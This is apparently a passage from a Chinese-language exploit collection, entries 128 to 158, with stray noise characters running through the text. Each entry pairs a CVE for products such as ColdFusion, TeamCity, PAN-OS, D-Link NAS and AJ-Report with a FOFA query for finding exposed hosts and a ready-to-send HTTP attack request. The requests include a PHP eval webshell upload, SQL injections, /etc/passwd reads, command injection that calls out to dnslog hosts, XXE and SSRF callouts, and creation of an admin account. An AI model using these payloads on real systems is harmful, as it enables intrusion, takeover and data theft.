<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
<test>&t;</test>
* S7 U6 \9 r* W------WebKitFormBoundaryJGgV5l5ta05yAIe0--
% [. w% }% u6 G$ y0 s6 W
0 ]; A) k& y* Z, d. _. o

128. Adobe ColdFusion 反序列化
% q6 N) k, Z6 x0 U9 w9 w5 |CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
0 e+ [3 x: N; g" tPAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
" I/ E5 N) ~8 ^' RFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
. w5 C( [# ]: e3 ~0 z) s第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
6 ~# a5 }; G7 f* ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
( V" H7 T, H( X  |/ z* V6 qAccept-Encoding: gzip, deflate
Connection: close

' [4 Y1 B+ u. u% _/ U% R
  C1 y2 B. p9 F& n  ]第二步，读取/etc/passwd文件
4 H; u8 f" B, HGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
3 D1 U( a" x1 a* k- l1 nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
" Y! ?& |! T4 ]; B- k5 B( CAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
) M; T) I- p' z  B* b& G+ q. yuuid: 85f60018-a654-4410-a783-f81cbd5000b9


' E" n  G+ i6 `: y9 z) B: ?0 l130. Laykefu客服系统任意文件上传
3 x3 s& H+ s4 P+ k: DFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
' M9 H, V3 k( m0 IX-Requested-With: XMLHttpRequest
; ]1 S! f+ C( |- m" jUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
1 M7 N; t2 `; d& C4 N9 _Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close

. r. Q1 }* e5 `: T------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
, M+ j* E) n4 a3 }2 n5 ZContent-Type: image/png
9 ]9 u+ I+ h/ |8 ^! O, m! a8 U. z9 M- `
<?php phpinfo();@eval($_POST['sec']);?>
* i9 a7 I4 q7 P------WebKitFormBoundary3OCVBiwBVsNuB2kR--


$ b* N6 W: i/ N2 K0 r" k131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
( G, [+ R' {: v- J  f3 ^8 ~后台地址：http://localhost:8080/tmall/admin
6 ?- c' w5 y. r$ Z- Yhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
8 T3 u( U) Q' N* X
3 b" a; R$ J8 w132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
1 i5 h- ~, E$ `: l. C. }$ W2 ?# oPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
& a: l/ y) S" q- w+ Y& |3 f  E7 ?Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( T. C6 k3 j: o8 i+ N& f$ AAccept: */*
) J! E5 y( [. i& QContent-Type: application/json
Accept-Encoding: gzip, deflate

" c2 A3 @/ A6 u8 z0 e8 J$ v8 {) {{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
/ s5 k; d" R8 h& N# E/ R
5 E' Y5 \- x' K5 E- y$ b* I
( t1 T/ T8 C# C3 J# rCVE-2024-27199
/res/../admin/diagnostic.jsp
0 Z5 z% H3 p7 h/ I, f. @, X5 x6 j/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

' b5 v) `: e4 O" K; U( R  y
CVE-2024-27198-RCE.py
! `$ g+ [5 y7 M' ^
133. H5 云商城 file.php 文件上传
+ ~; S. L1 E- E9 Z: z6 s' _; SFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
9 y$ l( z/ W+ sHost: your-ip
! ~! |. _3 k9 j0 K6 U9 _# wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
& L  S. C7 ?# {% p" s# Z/ l
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
4 \  z9 |+ ]8 `* o3 O" KContent-Type: application/octet-stream
- ~& Q3 |6 g/ w* e
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
* z& D; O5 a8 e
+ z3 w- D6 K0 ^) q0 f
, g: j/ _8 X4 C5 D2 l  M
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
) j& ?9 F3 C& SNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
5 L( r4 [! a$ v% X4 Z0 p" `Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
9 g2 L' F& `2 |8 g# e) _Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
; T& J! c# B8 c5 V! t8 `: DSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
( Z6 f+ B% V# |& U. a* J' l) \Connection: close
3 B; a" W7 k9 c( e1 G$ R9 B& FContent-Type: application/x-www-form-urlencoded
7 F6 u& w( s5 eContent-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


6 n$ Q9 \7 b" E  z* H, P135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
$ w3 k5 {: [1 B  h0 L7 gCVE-2024-2022
8 k7 Z$ K. P% I& U4 R0 W7 H0 A* w! nNetentsec NS-ASG Application Security Gateway 6.3版本
# A6 P" L# O. x9 f6 vFOFA：app="网康科技-NS-ASG安全网关"
( `7 S5 L- ?" N8 f: a1 u, l. J8 X- qGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
8 r+ T! Z- h- u* ZHost: x.x.x.x
! F( N8 p1 B8 c2 O$ y( CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& A# V% b, d. ?3 b2 N( [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 a4 ~" T- G8 Q8 BAccept-Encoding: gzip, deflate
- a, P5 `7 v3 @( xAccept-Language: zh-CN,zh;q=0.9
Connection: close

) }% ~( }$ z0 {' Q6 `& X- l! M! H
0 U* @2 s9 B+ g: l2 h) ?136. NextChat cors SSRF
/ }0 K# a5 r$ b! j1 y5 ?! m" w" ?* zCVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
% y; t4 }3 q/ i4 f$ X- @6 lHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
1 i0 |! }* V6 }1 D( {  n1 X3 l1 |Accept-Language: en
0 f; \0 Z4 O" W2 n8 SAccept-Encoding: gzip


. Q2 v: `9 D2 e" V9 Y! o$ l) b137. 福建科立迅通信指挥调度平台down_file.php sql注入
4 _/ L) d( h" f' r# HCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
0 i+ f$ I; X$ B9 M* w$ W- rGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
  U& D0 D( H) Z. x) u  b; wHost: x.x.x.x
! A# r& B: O0 `5 O2 u: NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) W- T  n2 I9 }8 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- e+ U. a: @0 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
# X& I& Y$ G) g& c+ U$ m. z% F3 q7 U% kCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
# u8 ~! s) B, H, q2 B+ DUpgrade-Insecure-Requests: 1
+ k% j& g# B; Z0 p
! F' ^/ }0 |& E% {3 j
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
7 R+ |$ V. }' ]% t) ?2 I2 S& cGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 ?. p, z$ e7 zAccept-Encoding: gzip, deflate, br
) q; d" R! e9 X  _8 }Connection: close
Upgrade-Insecure-Requests: 1


4 \" I1 B" c/ s7 `# I' d1 ^139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
. h( Y+ x" h  x, r8 \- S) aFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
6 B/ H! K2 }- e, lGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
% R, F% D. X  B; P" FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
' R4 K) O8 q8 q- w. w0 C* NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
( v2 f6 A. a( _) A8 d- g, AConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
5 c3 y; C0 n) ~- p! T  _0 F1 GUpgrade-Insecure-Requests: 1
8 |; K7 F0 W1 C: v& r3 G9 s8 c. [- f2 F
/ {7 K) Q$ Y2 u
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
2 F8 R! E5 }$ t( M5 [- d- [; \3 V& qFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
) x  j- A) B4 \GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
) x! Y  r+ r7 ]  THost: x.x.x.x
+ M9 m6 ]0 ]. O) K& WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 O7 F7 x& K( M- O/ dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 d7 ^# @4 D$ X: SAccept-Encoding: gzip, deflate, br
% c2 U3 ?( ~9 O) n5 }Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


  V1 b" t" k9 m: j4 j9 n8 x141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
' H; X% c7 }+ V7 Y, r3 m, K: w! \1 aPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
: ?) j' E$ N8 C( J5 M- lUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


3 j0 G" i8 q( a/ z- qdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

: A$ C$ R+ L) G3 \
! X' z9 L3 ]0 o" a# }8 s142. CMSV6车辆监控平台系统中存在弱密码
' b% |5 k- G1 ]  MCVE-2024-29666
( c. G  U$ {( P2 _FOFA：body="/808gps/"
$ z! A( [: u7 T7 a/ }8 t1 Badmin/admin
, v7 ~  i# C9 q$ @4 P1 J143. Netis WF2780 v2.1.40144 远程命令执行
0 v- W7 u2 e0 o7 a% iCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
/ g" }6 z; D3 q6 h" ~1 t: [2 Lsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
1 [8 S0 r! B- ?, i7 e0 a& M( _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
! C7 F# O9 k; |- mAccept: */*
7 h; x  F- G8 X: x( }Accept-Language: en
Accept-Encoding: gzip
9 C" j* {8 _0 J/ e6 J; u

: P5 `% I" z5 X, S* \  c1 J145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
" A8 }* j8 b3 W  {4 DCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip

$ C8 W. R' C8 _$ J! b7 V
$ h7 W# P# [$ e3 ^& e& Y3 v146. MajorDoMo thumb.php 未授权远程代码执行
' u2 I* T4 U8 F7 BCNVD-2024-02175
. ]& S! t9 \' r+ n4 @8 W5 nFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
- ]' p6 H" w& z8 M* s- RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
! q- f3 a4 M1 ]( _' R% ^. X$ }Accept-Charset: utf-8
" t" q5 M4 }; ~( t- _3 ]Accept-Encoding: gzip, deflate
2 }( e% [% b! c0 W& X2 A: \Connection: close

& B& Z. B, F. ]) f$ W
  B* ^3 w( t/ @! \147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
1 `+ P4 ~/ `% {- N) ]# ACVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
* e7 Z. Y; |2 t2 c; eHost: 127.0.0.1:81
Cache-Control: max-age=0
8 f8 i: ^: j1 s& ^1 f  G( \1 K$ yConnection: close
" A: Z0 H- l: ]% \

148. CrushFTP 认证绕过模板注入
CVE-2024-4040
0 K) {$ m# p8 R# _; Y8 dFOFA：body="CrushFTP"
PAYLOAD

  R6 l7 P8 b& `) R2 Y7 ?1 ~3 e2 j149. AJ-Report开源数据大屏存在远程命令执行
; _9 x2 Z) h# k: s% @  xFOFA：title="AJ-Report"
+ K) d& e4 E5 |+ l+ a) ?
0 E. j6 X9 |  V) x) V- _7 gPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
4 s% h) i) ^; s0 G6 y7 `' eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ v0 ^: `) f: h- H. }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
9 o* s+ P: L1 V6 a9 D: s1 CAccept-Language: zh-CN,zh;q=0.9
0 x' o+ n( J4 [& G7 `Content-Type: application/json;charset=UTF-8
Connection: close
2 E: d  Q# Y' E! p& W6 n
- D8 ~/ j% x' \' z/ n( Z2 X* U{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
" {, j- Y/ n- h1 t, aHost: x.x.x.x
- D! k1 S1 F" A9 l0 Q  ?8 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 ]  P* G) B8 ]) nAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
% Q+ @9 z3 |% y+ jConnection: close
Content-Length: 339
3 x. i/ T, i$ \4 u* E$ U. a# q
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


7 v8 R* Y" R% i" F( _& K: z. C/ k151. AJ-Report 1.4.1 pageList sql注入
* S/ u8 |6 R7 tFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
; Z$ S8 R  ]% x0 M* l& AHost: x.x.x.x
6 r) x; ?5 i" C1 c" l4 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( t6 c! h7 o- pConnection: close
Accept-Encoding: gzip
9 ~! J# b- p- m1 L

152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
% I! h5 \0 J; E8 iLoadMaster <= 7.2.59.2 (GA)
+ [7 K  J( }5 h( Z5 |7 D* c1 xLoadMaster<=7.2.54.8 (LTSF)
6 A8 u5 U. z, Y7 {/ [  f5 R- h3 wLoadMaster <= 7.2.48.10 (LTS)
$ G2 G9 }" W7 \FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
$ c* L- C! }, kGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
, k5 B% z) x( AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
( e6 z$ f/ J& j! G! D2 gConnection: close
6 Y, Y' ~5 @1 LAccept: */*
9 t6 B. Y! \8 v% r, FAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

! A) `# U- }) P+ q) \9 Q
! H/ F# \4 n2 t4 i$ }9 e( ~153. gradio任意文件读取
2 c4 C9 G. |+ mCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
# q0 D$ p2 [- ?* e( W- h" o6 vhttp://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
) K5 Y5 X2 Y1 f+ CPOST /component_server HTTP/1.1
$ s, b8 T2 T. pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
9 Z* V- N* `8 Q" G( u- E/ C+ xContent-Length: 115
Content-Type: application/json
+ K' j; c7 O- h+ u6 {Accept-Encoding: gzip
& p# c" w1 f9 U$ S& u/ V
% \3 {/ b6 c1 p; D6 U{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

2 \! O+ h/ g* y' r( ?  @. }  a* z9 p
9 f2 |# @' d* M6 U9 r" O第三步访问
: f: Q9 J" t- ehttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
  j+ f7 V5 g0 J- B: [
7 e% k% C# y3 e# W! l' G7 Q
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
3 j0 |3 ?7 J4 F" {POST /twms-service-mfs/mfsNotice/page HTTP/1.1
4 R& {$ z6 Y+ e: c. RHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
" r$ D+ n8 n$ u8 Z& C* L6 \Origin: http://x.x.x.x
: w6 P7 h7 a$ @' [$ DContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
" ]+ v5 Y% V+ \  g+ F& s5 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
& T$ v! O  U8 ~1 L4 I4 t% iAccept-Encoding: gzip, deflate
* v: c& Z- e: {& j+ ZAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
& K3 R2 @! U# q- `& r8 QConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
' C. I* |$ p( Q! K& h1 j  V

155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
7 s$ f+ b9 F8 T* R% k0 C! e5 OFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
# G2 J: i; Q+ ~0 j. n$ nConnection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
  ~3 R& L: n6 {5 eAccept-Encoding: gzip, deflate, br
1 l$ ?8 P7 _2 E  M8 nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
9 H7 S3 e+ `; QX-Requested-With: XMLHttpRequest
- d4 k- C" O' g5 X1 A
-----------------------------qttl7vemrsold314zg0f
/ g' u, i4 M/ ?Content-Disposition: form-data; name="file"; filename="test.php"
: g5 [' Q' i8 t) X3 O' M( uContent-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
! k1 r- e* {* ?5 l-----------------------------qttl7vemrsold314zg0f--

: ~$ `) n, |8 |- \' n0 S5 n0 O. G
. D& ?$ h- p" ^+ s$ u  Z访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
" D+ d2 f* x* y$ t1 y
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
2 ~' f; f; z" _6 }3 }2 w) F·TBK DVR-4104
  u# a  H# _* {+ y! I·TBK DVR-4216
( p  y! ~; F, J4 A. fcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
# E) }) k' m1 h* t/ C5 c
0 j9 J5 `. u; ^& C
6 T/ E: c) E0 ~; q0 \8 ]POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
) K- g: f, @- kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
, S0 {, [( v5 K7 x( nContent-Length: 0
9 Y8 r# r1 R, R: GCookie: uid=1
& {+ V& O# u2 }6 j( o4 gAccept-Encoding: gzip
. l. T) ?& Y4 l) B: l1 S

" ~. d2 ^4 Q- _. w7 Y- w157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
  i8 A- B1 v' t" n" g! rPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
0 q$ g) R6 E" ~/ @: s, yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
; M+ V) @3 v  rContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 h) r% U' g2 R1 J& J: ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
! I, ?; I$ X$ g3 ~( h1 YConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
8 o7 e4 q3 E( D) {Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
8 x; `. z5 B8 n1 E6 e8 F$ eContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
2 Y# t* F" M- v& L) C) QContent-Type: application/octet-stream

) A; p) }  z0 u/ W# n/ {7 Lnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
) k3 ?* Q$ z6 o- @Content-Disposition: form-data; name="key"

null
" n" u8 ]' R( Q& j. ?5 M' q' G+ I+ s+ z------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

' F( X: Z* F& W0 X. d2 {/ Anull
( |2 e, o" f) s" H2 v------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
4 R- Q( a; f# M3 Q9 S; x# [, _, k------WebKitFormBoundary1imovELzPsfzp5dN
& w; r. h- ^% J5 d# X, UContent-Disposition: form-data; name="filetitile"

# F5 E+ w$ X$ X& Y( i# gnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
, g3 H  Y9 X3 L$ x; S
0 T" p5 b$ [3 x6 q2 t( k/ t# Jnull
------WebKitFormBoundary1imovELzPsfzp5dN--

1 m2 ^$ s& e* q: g/ j
9 C1 ?% x3 B  n( Z7 i, qhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
# \3 q- X& K- M! i" j$ N3 g4 H1 h
8 A. \  w& a7 Z( |158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
